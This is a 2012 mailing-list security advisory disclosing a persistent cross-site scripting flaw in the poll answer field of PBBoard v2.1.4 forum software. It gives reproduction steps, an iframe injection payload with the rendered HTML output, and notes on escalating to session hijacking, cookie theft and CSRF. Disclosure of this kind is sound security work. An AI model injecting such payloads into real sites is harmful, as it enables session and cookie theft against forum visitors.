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PBBoard v2.1.4 CMS - Multiple Web Vulnerabilities
- To: bugs@xxxxxxxxxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx
- Subject: PBBoard v2.1.4 CMS - Multiple Web Vulnerabilities
- From: Research <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Mon, 16 Jul 2012 01:48:26 +0200
Title:
======
PBBoard v2.1.4 CMS - Multiple Web Vulnerabilities
Date:
=====
2012-06-26
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=623
VL-ID:
=====
625
Common Vulnerability Scoring System:
====================================
4.5
Introduction:
=============
PBBoard forum is a free and very famous flat-forum bulletin board software.
- LICENSE: http://www.pbboard.com/manual/license.txt
- INSTALL And UPGRADE : http://www.pbboard.com/pbb_manual/README.html
- English Style : http://www.pbboard.com/forums/t6478.html
- Languages : http://www.pbboard.com/forums/index.php?page=pages&show=1&id=6
- Converter: http://www.pbboard.com/forums/index.php?page=pages&show=1&id=3
- contact us: http://www.pbboard.com/forums/index.php?page=send&sendmessage=1
(Copy of the Vendor Homepage: http://www.pbboard.com/ )
Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple Web
vulnerabilities in the PBBoard v2.1.4 forum application.
Report-Timeline:
================
2012-06-26: Public Disclosure
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Severity:
=========
Medium
Details:
========
A persistent web vulnerability is detected in the PBBoard v2.1.4 forum
application.
The bug allows remote attackers to implement/inject malicious script code on
the application side (persistent).
The persistent vulnerability is located in the add poll function when adding a
thread. The malicious code can be injected in the `answer field`.
The output listing page with the pool executed the malicious persistent script
code (JS/HTML).
Successful exploitation of the vulnerability can lead to stable (persistent)
context manipulation.
Exploitation requires low user inter-action.
Vulnerable Module(s):
[+] Add thread > Add poll
Vulnerable Parameter(s):
[+] [Answer]
Proof of Concept:
=================
The persistent input validation vulnerabilities can be exploited by remote
attackers with low privileged
user account & required user inter action. For demonstration or reproduce ...
To reproduce the vulnerability, the attacker should add a new thread and the
check on the add poll button. After that
the attacker can add his malicious code in the answer field of the poll. Anyone
who's viewing that thread will be
exploited by the malicious code. Such attack can result in session hijacking,
redirecting or cookie theft. Moreover,
the persistent XSS can be exploited to launch a CSRF attack to the user and to
exploit the other CSRF vulnerabilities
in the same product to completely hack the application.
Poll: <iframe src=http://www.vuln-lab.com></iframe> !
</span>
</td>
</tr>
<tr align="center">
<td class="thead" width="95%" colspan="3">
Question :<strong>&<iframe
src=http://www.vuln-lab.com></iframe> !</strong>
</td>
</tr> <tr>
<td class="row1" width="50%">
<input type="radio" name="answer" value="0">
<iframe src=http://www.vw.de></iframe></td>
<td class="row1" width="40%">
<img src="look/styles/forum/main/images/bar_right.gif" alt="" width="4"
height="11"><img src="look/styles/forum/main/images/bar.gif"
alt="" width="0" height="11"><img
src="look/styles/forum/main/images/bar_left.gif" alt="" width="4" height="11">
</td>
<td class="row1" width="12%" align="center">
Voters: 0 </td>
</tr>
<tr>
<td class="row1" width="50%">
<input type="radio" name="answer" value="1">
<[PERSISTENT SCRIPT CODE]></iframe></td>
<td class="row1" width="40%">
<img src="look/styles/forum/main/images/bar_right.gif" alt="" width="4"
height="11">
<img src="look/styles/forum/main/images/bar.gif" alt="" width="0" height="11">
<img src="look/styles/forum/main/images/bar_left.gif" alt="" width="4"
height="11">
</td>
<td class="row1" width="12%" align="center">
Risk:
=====
The security risk of the persistent input validation vulnerabilities is
estimated as medium(+).
Credits:
========
Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed [the StOrM)
(storm@xxxxxxxxxxxxxxxxxxxxx)
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===========
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